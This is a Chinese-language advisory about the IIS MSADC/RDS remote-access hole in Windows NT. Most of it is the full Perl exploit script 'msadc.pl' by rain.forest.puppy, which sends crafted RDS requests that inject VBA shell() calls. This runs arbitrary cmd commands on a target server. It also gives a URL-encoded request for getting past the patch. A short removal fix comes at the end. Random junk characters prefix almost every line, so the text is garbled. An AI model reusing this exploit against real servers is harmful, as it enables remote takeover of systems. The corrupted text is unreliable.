IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
f$|v0Xs (zDk68=v 涉及程序：
Su$ 1 t Microsoft NT server
G?d,$NMo| b ]&zDo|8 描述：
?mR[A`J58 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$jh>zf )9* 3^v 详细：
EJ ~k Z3 如果你没有时间读详细内容的话，就删除:
Q9xx/tUW c:\Program Files\Common Files\System\Msadc\msadcs.dll
)$h9Y 有关的安全问题就没有了。
XJ~l5} y ] 3t{leuO' 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
PbHh?iH M .` 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
K!c@aD:# 关于利用ODBC远程漏洞的描述，请参看:
|kNGpwpI ls7A5 < http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U.7y8#qf3R [ky6E*dV` 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
{3(.c, q@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z;~[@7` 9Y%?)t.2 这里不再论述。
E5BgQ5'
'b?.\Bm; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
|z]2KjF&w- Cm;qDvj+u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,Zf!KQw 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
J-\?,4m cP RL
Zf{Q> lJzy)n e #将下面这段保存为txt文件，然后: "perl -x 文件名"
^% %5 >-@ U_p #!perl
CCh8? sM #
5J+V:Xu{ # MSADC/RDS 'usage' (aka exploit) script
YATdGLTeq #
{I-a;XBX # by rain.forest.puppy
k
gu[!hD1 #
nlebFDb 7 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C{hcK 1-K # beta test and find errors!
M 1^C8cz soq".+Q use Socket; use Getopt::Std;
%L1 3Jsw getopts("e:vd:h:XR", \%args);
l \^nC2 <VaMUm<2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%|(?!w7 i`KZ, if (!defined $args{h} && !defined $args{R}) {
IbJ[Og^Qyu print qq~
4SffP/ Usage: msadc.pl -h <host> { -d <delay> -X -v }
-yAnn -h <host> = host you want to scan (ip or domain)
fE w=I7{Y -d <seconds> = delay between calls, default 1 second
^'[@M'`~L -X = dump Index Server path table, if available
R,+ /A8[j -v = verbose
L=HVdeE -e = external dictionary file for step 5
|^PLZ> sj zXJ`s Or a -R will resume a command session
Sn0gTsZ 0)o N[ ~; exit;}
l/ rZcf8z TwuX-b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Lubs{ -5lk if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*Cnq2=A]A if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^5 ^}MB % if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Y
<Znv% M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5M Wvu,'%8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1n`1o-&l- .^LL9{? if (!defined $args{R}){ $ret = &has_msadc;
q^N0abzgP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1U7,X6=~ (e RKR2% q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
WR
a+zii, . "cmd /c ";
Itr7lv'5xx $in=<STDIN>; chomp $in;
{x|kg ; $command="cmd /c " . $in ;
E./__Mz@ '>e79f-O) if (defined $args{R}) {&load; exit;}
P*SCHe' zvGK6qCk print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
TsX+. i' &try_btcustmr;
9PKo N d^e H9~%#&fF print "\nStep 2: Trying to make our own DSN...";
#A3v]'7B &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~n/Aq* 2>$F0
M print "\nStep 3: Trying known DSNs...";
XD^ dlL &known_dsn;
_;e !ZZLG *t.q m5h print "\nStep 4: Trying known .mdbs...";
whY~=lizn &known_mdb;
7V} ]C>G $,KP]~? if (defined $args{e}){
w#xeua|*I# print "\nStep 5: Trying dictionary of DSN names...";
7<3U? ]0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~ThVap[* 7?MB8tJ5r4 print "Sorry Charley...maybe next time?\n";
zkh hN"bX exit;
sOl>5:D6 oSn! "<x
##############################################################################
g8 I!E$ *qP dZ sub sendraw { # ripped and modded from whisker
hD_5~d sleep($delay); # it's a DoS on the server! At least on mine...
JY2/YDJ my ($pstr)=@_;
CZyz;Jtk socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
n5v' die("Socket problems\n");
D1X4|Q*SK if(connect(S,pack "SnA4x8",2,80,$target)){
0iJ!K;A2% select(S); $|=1;
=naR{pI print $pstr; my @in=<S>;
NfTCp A select(STDOUT); close(S);
gMs+?SNHAh return @in;
'%SR . JL } else { die("Can't connect...\n"); }}
CGC-"A/W pcy<2UV ##############################################################################
4mN].X[, X*!Dc,0.k sub make_header { # make the HTTP request
w;
4jx(
my $msadc=<<EOT
i iX\it$s POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V uG?B{ User-Agent: ACTIVEDATA
:K~rvv\L7 Host: $ip
OJP5k/U$ Content-Length: $clen
T- |9o|~z Connection: Keep-Alive
gB>imr#e& MzQ\rg_B7 ADCClientVersion:01.06
#wenX$UTh3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Uv xSMD:A qKdS7SoS --!ADM!ROX!YOUR!WORLD!
N0 Efw$u Content-Type: application/x-varg
38c?^ Content-Length: $reqlen
J 7BFk
?= ryxYcEM0 EOT
|h&<_9 ; $msadc=~s/\n/\r\n/g;
"l@A[@R return $msadc;}
qoj^ _s6 / !3ZW XY\ ##############################################################################
D|d4:;7 B< |VeU sub make_req { # make the RDS request
mC i[ Ps my ($switch, $p1, $p2)=@_;
.u1X+P7 my $req=""; my $t1, $t2, $query, $dsn;
Y[ Q @WdE9 _1^8xFe2 if ($switch==1){ # this is the btcustmr.mdb query
$. % L $query="Select * from Customers where City=" . make_shell();
LY]nl3{E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
kE/`n],1U $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
z % x7fe &<,SV^w ag elsif ($switch==2){ # this is general make table query
l~bKBz $query="create table AZZ (B int, C varchar(10))";
J yj0Gco $dsn="$p1";}
g(/{.%\k [X,A'Q elsif ($switch==3){ # this is general exploit table query
AR% hf $query="select * from AZZ where C=" . make_shell();
/+V Iw`E $dsn="$p1";}
CjZZm^O R?cUy8?'S elsif ($switch==4){ # attempt to hork file info from index server
w *50ZS;N $query="select path from scope()";
i S% $dsn="Provider=MSIDXS;";}
bGv* -;* 'p%= <0vrr elsif ($switch==5){ # bad query
ZJ;LD* $query="select";
=/FF1jQ $dsn="$p1";}
gH %y q mZ2d!)o $t1= make_unicode($query);
o+nG3kRD $t2= make_unicode($dsn);
3bC+ Mco $req = "\x02\x00\x03\x00";
><;Q@u5~ $req.= "\x08\x00" . pack ("S1", length($t1));
k t^yj"C> $req.= "\x00\x00" . $t1 ;
D+ Cm<ZT~ $req.= "\x08\x00" . pack ("S1", length($t2));
5h0> !0 $req.= "\x00\x00" . $t2 ;
5m4 DS:& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!(Krf return $req;}
b"``D ? KP3n^
$~ ##############################################################################
x 97L6! W9Nmx3ve sub make_shell { # this makes the shell() statement
JqEW= 5 return "'|shell(\"$command\")|'";}
9)+@0fG) -G9|n#zCU ##############################################################################
]q{
PDZ
6v to++ sub make_unicode { # quick little function to convert to unicode
AUfS- my ($in)=@_; my $out;
#EbGL])F} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
s5 l3V2k return $out;}
c-k A^z{f j{"z4 Y4 ##############################################################################
+$47v$p {`% hgR sub rdo_success { # checks for RDO return success (this is kludge)
5IW8=$k~.) my (@in) = @_; my $base=content_start(@in);
*8 bK')W if($in[$base]=~/multipart\/mixed/){
.NJ|p=fy return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9Bz0MUbrLl return 0;}
<l$P&jSF3 Vtb1[cnna ##############################################################################
n` (~O O { Oj 7 sub make_dsn { # this makes a DSN for us
|uI?ySF my @drives=("c","d","e","f");
#;[Bl=3( print "\nMaking DSN: ";
@%1Ik vJV foreach $drive (@drives) {
G?`-]FM O print "$drive: ";
;+ azeW ^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0VN7/=n| "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
DG(%-w8p" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2j&v;dmh< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
m@jge)O&D return 0 if $2 eq "404"; # not found/doesn't exist
F8 <"AI if($2 eq "200") {
G2`${aMS foreach $line (@results) {
hQRL,? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\M{[f=6llh } return 0;}
@w\I qr
3e% nA8? ##############################################################################
NjX[;e-u 2 Il8f sub verify_exists {
PU1,DU my ($page)=@_;
h[kU<mU"T my @results=sendraw("GET $page HTTP/1.0\n\n");
_X4!xbP return $results[0];}
b 9~A-Z 3`*Kav>" ##############################################################################
Q&CElx?L h7]EB!D\A sub try_btcustmr {
wpXgPVZT my @drives=("c","d","e","f");
,:)`+v< my @dirs=("winnt","winnt35","winnt351","win","windows");
1!1!PA9u ZF6c{~D foreach $dir (@dirs) {
Ipe n print "$dir -> "; # fun status so you can see progress
DkDoA;m foreach $drive (@drives) {
k?*Knf Vh! print "$drive: "; # ditto
l30Y8t~d $reqlen=length( make_req(1,$drive,$dir) ) - 28;
UMU2^$\iS $reqlenlen=length( "$reqlen" );
+bA% $clen= 206 + $reqlenlen + $reqlen;
J0Z7 l 3Bd X my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_c`K+o"3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<YB9Ac~}z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
(YPi&w~S a~PK
pw2% ##############################################################################
;f1q LI xb:&(6\F sub odbc_error {
os4{0Mxu my (@in)=@_; my $base;
u5 B:^.:p my $base = content_start(@in);
Ag9?C* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
OGOND,/R?/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]y#3@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_,haD)1g~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}!p`1]gem return $in[$base+4].$in[$base+5].$in[$base+6];}
-]srp;=i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
u0 QzLi, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<lE?, jl $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
XJ1=m LzML%J62 ##############################################################################
Cr C =A=e dY (;]sxFr sub verbose {
Qkcjr]#^$ my ($in)=@_;
YJ_\Ns+Ow return if !$verbose;
zmI] cD@G print STDOUT "\n$in\n";}
^7^N}x@ ! cSq+eD ##############################################################################
'n;OB4 )G~w[~ sub save {
Ts.wh>` my ($p1, $p2, $p3, $p4)=@_;
8|6
4R: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
A1 "SLFY print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
EV pi^>M close OUT;}
6$\ j Ad| _8 ,()t'" ##############################################################################
|`TgX@,#9 m_+sR!\H8 sub load {
UCW V2Mu my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ag-f{UsTy open(IN,"<rds.save") || die("Couldn't open rds.save\n");
H@bf'guA|B @p=<IN>; close(IN);
c;?fM X
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
f>`dF?^6 $target= inet_aton($ip) || die("inet_aton problems");
1y#D?R=E print "Resuming to $ip ...";
N@ \&1I`c$ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
EU7|,>a if($p[1]==1) {
V!v:]E $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#J (~_%Wi $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
J N+_| ` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
jhu 07HX_ if (rdo_success(@results)){print "Success!\n";}
kQ1w5mCh else { print "failed\n"; verbose(odbc_error(@results));}}
^9Qy/Er' elsif ($p[1]==3){
=X\^ J if(run_query("$p[3]")){
>/ [GTqi print "Success!\n";} else { print "failed\n"; }}
ApBWuXp|u elsif ($p[1]==4){
AIMSX]m if(run_query($drvst . "$p[3]")){
R^?/' dr print "Success!\n"; } else { print "failed\n"; }}
Ar*^ ; / exit;}
|L2SF B?d= b 5yW_Ozdh ##############################################################################
;OqB5qd W-NDBP: sub create_table {
MZ+^-@ X my ($in)=@_;
ls@i".[ $reqlen=length( make_req(2,$in,"") ) - 28;
8>hwK )av $reqlenlen=length( "$reqlen" );
}\J2?Et{ $clen= 206 + $reqlenlen + $reqlen;
V |(H|9 my @results=sendraw(make_header() . make_req(2,$in,""));
[
ol9|sdu return 1 if rdo_success(@results);
kuyjnSo9i my $temp= odbc_error(@results); verbose($temp);
jC bV,0)^ return 1 if $temp=~/Table 'AZZ' already exists/;
y@0E[/O return 0;}
BauU{:Sh C8
\5A8c ##############################################################################
DL$@?.?I :#@ = B] sub known_dsn {
7}M2bH} \K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
PDs@?nz, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$Y69@s %f "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
;)N>t\v "banner", "banners", "ads", "ADCDemo", "ADCTest");
'>r7V EoK~S\dS foreach $dSn (@dsns) {
94B\5I} print ".";
hzk cP next if (!is_access("DSN=$dSn"));
UQ{L{H if(create_table("DSN=$dSn")){
ggJO:$?$L print "$dSn successful\n";
*S2ypzwRZ, if(run_query("DSN=$dSn")){
O,Cb"{qH8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
nBk)WX&[K print "Something's borked. Use verbose next time\n";}}} print "\n";}
u\C
lP# `
,SiA-3* ##############################################################################
H\TI[JPAl v`M3eh@$A sub is_access {
dKd j`wB my ($in)=@_;
d_IAs $reqlen=length( make_req(5,$in,"") ) - 28;
&mb{.= $reqlenlen=length( "$reqlen" );
Y "/]|'p $clen= 206 + $reqlenlen + $reqlen;
,7<f9 EVY my @results=sendraw(make_header() . make_req(5,$in,""));
"'D=,* my $temp= odbc_error(@results);
+HBd
%1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
8F'x= lIO return 0;}
s&RVJX>Rt 6Vz9?puD ##############################################################################
."9];)2rx B)0i:"q sub run_query {
{{QELfH2 my ($in)=@_;
O#F4WWF $reqlen=length( make_req(3,$in,"") ) - 28;
j KoG7HH $reqlenlen=length( "$reqlen" );
V$ ps> $clen= 206 + $reqlenlen + $reqlen;
+0OLc2
)w my @results=sendraw(make_header() . make_req(3,$in,""));
tCdqh- return 1 if rdo_success(@results);
c@8 93<_ my $temp= odbc_error(@results); verbose($temp);
Mdv cnaCG return 0;}
K*~0"F>"0 cXKjrL[b ##############################################################################
p, eTY[k? /pT =0= sub known_mdb {
B] Thn my @drives=("c","d","e","f","g");
Q\ 0cv mU my @dirs=("winnt","winnt35","winnt351","win","windows");
#3gp6* R my $dir, $drive, $mdb;
1,% R;7J=g my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XCBL}pNkR g"}%2~Ur f # this is sparse, because I don't know of many
A<??T[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
iv4H#rJ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"thdPZ "\\system32\\certmdb.mdb",
Fvbh\m
~ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
4rLL[?? ]@phF _ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
S[J}UpV "\\cfusion\\cfapps\\forums\\forums_.mdb",
_no*k?o * "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
MB ]<Dyj , "\\cfusion\\cfapps\\security\\realm_.mdb",
8|\8O@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
a6uJYhS~ "\\cfusion\\database\\cfexamples.mdb",
xCc[#0R{ "\\cfusion\\database\\cfsnippets.mdb",
fTK3,s1= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0 eDHu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m)'=G%y "\\cfusion\\brighttiger\\database\\cleam.mdb",
$w`=z<2yo1 "\\cfusion\\database\\smpolicy.mdb",
=`H@% "\\cfusion\\database\cypress.mdb",
' F9 jq "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tM'P m "\\website\\cgi-win\\dbsample.mdb",
=Jyu4j *} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&7K?w~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}khV'6"'| ); #these are just
~ v|>xqWV foreach $drive (@drives) {
`u&Rsz&^ foreach $dir (@dirs){
@U& QI* foreach $mdb (@sysmdbs) {
#Up86(Z print ".";
Al} B34.uh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Yp^rR }N print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+[\FD; > if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
a6) BqlJ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
GkQpELO: } else { print "Something's borked. Use verbose next time\n"; }}}}}
hu h6 t ! b?tB(if!I foreach $drive (@drives) {
klT@cO-9 foreach $mdb (@mdbs) {
7%x[q} print ".";
~ d|A!S` if(create_table($drv . $drive . $dir . $mdb)){
m8d!<
h print "\n" . $drive . $dir . $mdb . " successful\n";
Bf ~vA4 if(run_query($drv . $drive . $dir . $mdb)){
i#v YyVr[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
gc-@"wI? } else { print "Something's borked. Use verbose next time\n"; }}}}
G}b]w~ML ~ }
Lh!J > YUtC.TR1 ##############################################################################
RC7]'4o 4NheWM6 sub hork_idx {
UCB/=k^m print "\nAttempting to dump Index Server tables...\n";
Qp_isU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Bg x'9p/ $reqlen=length( make_req(4,"","") ) - 28;
\Je0CD=e` $reqlenlen=length( "$reqlen" );
1W^t aJH] $clen= 206 + $reqlenlen + $reqlen;
Krq t f my @results=sendraw2(make_header() . make_req(4,"",""));
. 6+Z^,3 if (rdo_success(@results)){
=5~jx my $max=@results; my $c; my %d;
F Q<Ju. for($c=19; $c<$max; $c++){
[+n*~ $results[$c]=~s/\x00//g;
4.[^\N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&8Cu#^3
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
mwHB(7YS, $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
< $lCkSx<Q $d{"$1$2"}="";}
Y NKH N2E8 foreach $c (keys %d){ print "$c\n"; }
chM%]|ge y } else {print "Index server doesn't seem to be installed.\n"; }}
&^}1O:8e a|t$l=|DD ##############################################################################
XDOY`N^L 96( v sub dsn_dict {
`{3<{ wgw open(IN, "<$args{e}") || die("Can't open external dictionary\n");
L*xhGoC= while(<IN>){
?PeJlpYzV $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zPn+ V7F next if (!is_access("DSN=$dSn"));
"O3tq =Q if(create_table("DSN=$dSn")){
vWz m @ print "$dSn successful\n";
` Mjj@[ if(run_query("DSN=$dSn")){
/R]U}o^/(% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C kOz print "Something's borked. Use verbose next time\n";}}}
c|e~BQdRw print "\n"; close(IN);}
$p#Bi-& AG`L64B ##############################################################################
bnf'4P At /?5 1D@ sub sendraw2 { # ripped and modded from whisker
+Vb.l H[av sleep($delay); # it's a DoS on the server! At least on mine...
LDgrR[ my ($pstr)=@_;
naG=Pq < socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?+@n3]`0 die("Socket problems\n");
Lb:g4A" if(connect(S,pack "SnA4x8",2,80,$target)){
qe V fE_< print "Connected. Getting data";
@ym v< Mo open(OUT,">raw.out"); my @in;
QwW&\h[8? select(S); $|=1; print $pstr;
Y,<{v L EC while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
]7W&JKmA& close(OUT); select(STDOUT); close(S); return @in;
_{I3i:f9X8 } else { die("Can't connect...\n"); }}
DE}K~}sbd +\d56j+D ##############################################################################
t<.)Z-Ii n{ n52][J] sub content_start { # this will take in the server headers
dk[!V1x4\ my (@in)=@_; my $c;
yj 3cyLXw for ($c=1;$c<500;$c++) {
5d Eh7XL if($in[$c] =~/^\x0d\x0a/){
SYAyk if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Pr':51 ( else { return $c+1; }}}
Q{s H3Y#l return -1;} # it should never get here actually
deBY5| wN_Vfb ##############################################################################
MU@UfB|;u 44ek
IV+? sub funky {
W9 GxXPA my (@in)=@_; my $error=odbc_error(@in);
gX@HO|.t if($error=~/ADO could not find the specified provider/){
>?2M
}TV3 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
h5* JkRm exit;}
ysQ_[
]/ if($error=~/A Handler is required/){
RIW xs Zt print "\nServer has custom handler filters (they most likely are patched)\n";
ugdQAg exit;}
vOn` /5- if($error=~/specified Handler has denied Access/){
.F9 8G/s print "\nServer has custom handler filters (they most likely are patched)\n";
TV)h`\|Z* exit;}}
M'7f O3&| M8MR oA6F ##############################################################################
u@W|gLT1 !`Fxa4i> sub has_msadc {
*'Sd/%8{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
n,vct<&z@ my $base=content_start(@results);
xK *b1CB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Qf~vZtJ+J return 0;}
~Z\8UsVN ^cOUQ33 ########################
sJB;3"~ bkOv2tZ Q3kdlxXR 解决方案：
gh/EU/~d 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^n*)7K[
2、移除web 目录: /msadc
